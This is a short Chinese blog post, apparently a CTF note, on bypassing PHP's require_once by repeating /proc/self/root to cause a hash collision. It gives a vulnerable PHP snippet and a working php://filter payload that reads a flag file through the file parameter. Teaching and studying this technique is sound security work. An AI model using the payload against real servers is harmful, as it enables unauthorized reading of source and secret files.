首页 > 其他分享 >require_once攻击

require_once攻击

时间:2024-11-29 19:32:47浏览次数:5  
标签:攻击 proc require 哈希 root self once

php中的require_once方法好include_once方法只允许对某文件包含一次,其核心原理是将包含过的文件注册到哈希表中.而我们可以通过重复使用/proc/self/root来构成哈希冲突,从而实现对一个文件的多次包含.
示例如下:

<?php
highlight_file(__FILE__);
require_once 'flag';
if(isset($_GET['file'])) {
    if(preg_match('/flag/i', $_GET['file'])) {
        require_once $_GET['file'];
    }else{
        echo "还想非预期?";
    }
}

我们可以使用如下的payload进行攻击

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag

标签:攻击,proc,require,哈希,root,self,once
From: https://www.cnblogs.com/meraklbz/p/18577407

相关文章

  • Winform Jenkins ClickOnce打包,基于.net FramWork4.8
    背景:winform客户端基于.NETFramwork4.8,并且基于Msbuild命令进行ClickOnce打包。在Linux下,Msbuild无法使用,且无法安装.NETFramwork4.8,于是Jenkins部署在WindowServer上1.在Windows服务器安装Jenkins,并启动。安装教程百度,建议安装新版本 2.在windows服务器采用vs_BuildTools.......
  • HTML5中required属性有什么应用场景?
    HTML5的required属性主要用于表单验证,它指定了某个表单元素是必填的。用户提交表单时,如果带有required属性的元素没有填写值,浏览器会阻止表单提交并显示错误消息。以下是required属性的一些常见应用场景:确保关键信息的收集:例如注册表单中的用户名、密码、邮箱等字段......
  • 网络安全中什么是CC攻击?CC攻击怎么防御?黑客技术零基础入门到精通,收藏这一篇就够了!
    前言这是晓晓给粉丝盆友们整理的网络安全渗透测试入门阶段dos与ddos渗透与防御基础教程喜欢的朋友们,记得给晓晓点赞支持和收藏一下,关注我,学习黑客技术。随着互联网的发展和技术的进步,网络安全问题日益严峻,网络攻击手段层出不穷,其中CC攻击就是一种比较常见的网络攻击手段......
  • MongoDB Read Concern
    1.读关注(readconcern)通过readConcern选项,可以控制从副本集和分片集群读取数据的一致性和隔离属性。 通过有效使用写关注和读关注,可以适当调整一致性和可用性保证的级别,如等待更强的一致性保证,或放宽一致性要求以提供更高的可用性。 副本集和分片群集支持设置全局默认......
  • 一文带你了解HVV实战攻防演练之红队攻击,零基础入门到精通,收藏这一篇就够了!
    0x00什么是红队红队,一般是指网络实战攻防演习中的攻击一方。红队一般会针对目标系统、人员、软件、硬件和设备同时执行的多角度、混合、对抗性的模拟攻击;通过实现系统提权、控制业务、获取数据等目标,来发现系统、技术、人员和基础架构中存在的网络安全隐患或薄弱环节。红......
  • 前端如何防止XSS攻击?
    前端防止XSS攻击的核心思想是对用户输入的数据进行过滤和转义,防止恶意脚本被浏览器执行。以下是一些常用的前端防御措施:1.输入过滤:对输入内容进行白名单过滤:只允许用户输入预期的字符类型,例如数字、字母、特定的符号等。可以使用正则表达式或其他过滤函数来实现。......
  • SQL盲注攻击详解及防御措施
    文章目录基于布尔的盲注工作原理示例代码防御措施基于时间的盲注工作原理示例代码防御措施其他防御措施输入验证错误处理使用WAF(Web应用防火墙)基于布尔的盲注工作原理基于布尔的盲注通过构造SQL查询来判断数据库的响应是否满足某个条件。攻击者通过观察应用程......
  • 《AliCoCo: Alibaba E-commerce Cognitive Concept Net》中文校对版
    文章汉化系列目录文章目录文章汉化系列目录摘要引言2概述3分类体系4原始概念4.1词汇挖掘4.2上位词发现4.2.1基于模式的方法4.2.2投影学习4.2.3主动学习5电子商务概念5.1标准5.2生成5.2.1候选项生成5.2.2分类5.3理解5.3.1文本增强概念编码器5.3.2模......
  • 【Springboot知识】Springboot进阶-如何有效防止XSS攻击
    springboot项目如何防止XSS攻击一、输入验证和过滤二、输出编码三、使用安全框架四、使用模板引擎的自动转义功能五、设置安全HTTP头在SpringBoot项目中,防止XSS(跨站脚本攻击)攻击是确保应用安全性的重要一环。以下是一些避免XSS攻击的方式以及具体的实现代码:一、......
  • iconv 攻击
    一个源于pwn的攻击,专门打file_get_contents一类的读文件函数.github上的脚步如下:#!/usr/bin/envpython3##CNEXT:PHPfile-readtoRCE(CVE-2024-2961)#Date:2024-05-27#Author:CharlesFOL@cfreal_(LEXFO/AMBIONICS)##TODOParseLIBCtoknowifpatched##......